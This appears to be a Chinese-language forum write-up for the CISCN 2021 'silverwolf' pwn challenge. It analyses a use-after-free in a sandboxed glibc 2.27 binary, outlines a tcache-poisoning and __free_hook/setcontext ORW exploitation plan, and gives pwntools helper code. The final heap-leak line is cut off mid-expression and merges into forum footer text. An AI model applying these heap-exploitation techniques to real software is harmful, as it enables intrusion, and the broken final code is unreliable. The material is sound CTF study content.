[CISCN 2021 初赛]silverwolf WP
一、题目来源NSSCTF_Pwn_silverwolf
二、信息搜集
通过 file 命令查看文件类型:
通过 checksec 命令查看文件开启的保护机制:
根据题目给的 libc 文件确定 glibc 版本是 2.27。
三、反汇编文件开始分析
程序的开头能看到设置了沙箱:
__int64 sub_C70()
{
__int64 v0; // rbx
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v0 = seccomp_init(0);
seccomp_rule_add(v0, 2147418112, 0, 0);
seccomp_rule_add(v0, 2147418112, 2, 0);
seccomp_rule_add(v0, 2147418112, 1, 0);
return seccomp_load(v0);
}通过工具可以分析出这个沙箱的作用:
ORW 被 ALLOW,那么本题的是不是和它有关呢?先打个问号。
根据输出提示,能知道程序的四大功能(exit 就不多说了):
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");逐一进行分析。
1、allocate
unsigned __int64 allocate()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // BYREF
unsigned __int64 v4; //
v4 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &size);
if ( !size )
{
__printf_chk(1, "Size: ");
__isoc99_scanf(&unk_1144, &size);
v1 = size;
if ( size > 0x78 )
{
__printf_chk(1, "Too large");
}
else
{
v2 = malloc(size);
if ( v2 )
{
qword_202050 = v1;
buf = v2;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}虽然让我们指定了下标(index),但是根据代码 if ( !size ) 我们知道:若要成功申请 chunk,那么 index 就只能为 0。但是,这也就意味着,我们可以一直申请 chunk,只要指定 index 为 0。
三个信息点:
[*]chunk 的大小是我们自己指定的,但是最大不超过 0x78(size > 0x78 )。
[*]全局变量 qword_202050 会存放我们申请 chunk 的大小(不含 chunk header)。
[*]全局变量 buf 会指向 chunk 的 user data 部分。
2、edit
unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // BYREF
unsigned __int64 v4; //
v4 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v3);
if ( !v3 )
{
if ( buf )
{
__printf_chk(1, (__int64)"Content: ");
v0 = buf;
if ( qword_202050 )
{
v1 = (char *)buf + qword_202050;
while ( 1 )
{
read(0, v0, 1u);
if ( *v0 == '\n' )
break;
if ( ++v0 == v1 )
return __readfsqword(0x28u) ^ v4;
}
*v0 = 0;
}
}
}
return __readfsqword(0x28u) ^ v4;
}根据指定的下标,编辑对应 chunk 的 user data 部分。
两个关键信息:
[*]能够填入的内容的最大大小取决于全局变量 qword_202050。
[*]输入结束,若要退出循环,则需要输入换行符(\n)作为结束字符,该换行符最终会被转变成空字符"\0"。
3、show
unsigned __int64 show()
{
__int64 v1; // BYREF
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
__printf_chk(1, (__int64)"Content: %s\n");
return __readfsqword(0x28u) ^ v2;
}根据输入的下标,来输出对应 chunk 的 user data 部分。
对于 __printf_chk,这里单看 C 语言代码可能有点迷糊,可以结合汇编代码来理解:
.text:0000000000000F0D 018 48 8B 15 44 11 20 00 mov rdx, cs:buf
.text:0000000000000F14 018 48 85 D2 test rdx, rdx
.text:0000000000000F17 018 74 13 jz short loc_F2C
.text:0000000000000F17
.text:0000000000000F19 018 48 8D 35 57 02 00 00 lea rsi, aContentS ; "Content: %s\n"
.text:0000000000000F20 018 BF 01 00 00 00 mov edi, 1
.text:0000000000000F25 018 31 C0 xor eax, eax
.text:0000000000000F27 018 E8 D4 FA FF FF call ___printf_chk函数原型:
int __printf_chk(int flag, const char *format, ...);
[*]flag:用于指定检查的级别。通常由编译器根据 FORTIFY_SOURCE 的设置自动传递。flag > 0 时,启用更严格的检查,例如限制 %n 的使用。
[*]format:格式化字符串,与标准 printf 的用法一致。
[*]...:可变参数列表,与 printf 的参数一致。
从汇编代码中可以看出,第三个参数(放在 rdx 中)沿用了之前的 mov rdx, cs:buf。
因此,该函数的 C 语言代码应该是:
__printf_chk(1,"Content: %s\n", buf);4、delete
unsigned __int64 del()
{
__int64 v1; // BYREF
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
free(buf);
return __readfsqword(0x28u) ^ v2;
}根据指定的下标,free 指定的 chunk。但是,free 之后并没有进行指针置 NULL 的操作,因此存在 UAF 的风险。
四、思路
本题有个特点,就是你还未进行任何操作的时候,程序就已经申请了很多的 chunk 了:
目前来看并没有可以利用的信息。
本题的思路就是:
[*]通过 UAF 泄露堆基址;
[*]通过 UAF 修改 Tcache bin 中的 chunk 的 fd 指针为 Tcache 管理块;(本 Glibc 版本还没有出现 Safe-Linking 机制)
[*]将 Tcache 管理块 allocate 出来,伪造其中的 count 指针,来欺骗堆管理器(你的 bin 满了);
[*]free chunk 使之进入 Unsorted bin;
[*]泄露 libc 基址;
[*]因为,有沙箱的存在,因此,打 ORW。(方法:__free_hook 劫持 + setcontext pivot)
五、Poc
1、四大功能的实现
def allocate(p,size,index=b'0'):
p.sendlineafter(b'Your choice: ',b'1')
p.sendlineafter(b'Index: ',index)
p.sendlineafter(b'Size: ',str(size).encode())
def edit(p,content,index=b'0'):
p.sendlineafter(b'Your choice: ',b'2')
p.sendlineafter(b'Index: ',index)
p.sendlineafter(b'Content: ',content)
def show(p,index=b'0'):
p.sendlineafter(b'Your choice: ',b'3')
p.sendlineafter(b'Index: ',index)
def delete(p,index=b'0'):
p.sendlineafter(b'Your choice: ',b'4')
p.sendlineafter(b'Index: ',index)index 等于 0 的时候,这四个功能才有效果,因此可以设置成默认值。
2、泄露堆基址
申请一个 chunk $\to$ free 掉它 $\to$ 利用 UAF 泄露其 fd 指针的值 $\to$ 通过该值与堆基址的偏移量,得到堆基址。
假设,我们的目标是申请一个 chunk size 为 0x20 的 chunk。
通过动态调试,查看 bin 列表情况:
根据 Tcache bin 的插入采用头插法和 Tcache bin 采用 LIFO 机制,我们首次申请会得到该链表的表头即上方红箭头指向的那个。
那么,free 之后,对应的链表应该还是老样子,其对应的 fd 指向的就是 0x59313a274790。
现在,我们应该明白,为什么题目一开始要准备那么多的 chunk 了吧?
原因就是,在 allocate 操作之后,我们的 free 操作有且仅能有一次。那么,如果一开始 bins 干净,那么你经过上述操作之后,由于不存在 Safe-Linking 机制,你会得到 你申请的 chunk -> 0 这样的结果。这你就实现不了堆基址的泄露了。
本部分的 Poc:
allocate(p,0x10)delete(p)show(p)p.recvuntil(b'Content: ')leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))heap_base = (leak >> 12 > 12 用心讨论,共获提升!
页:
[1]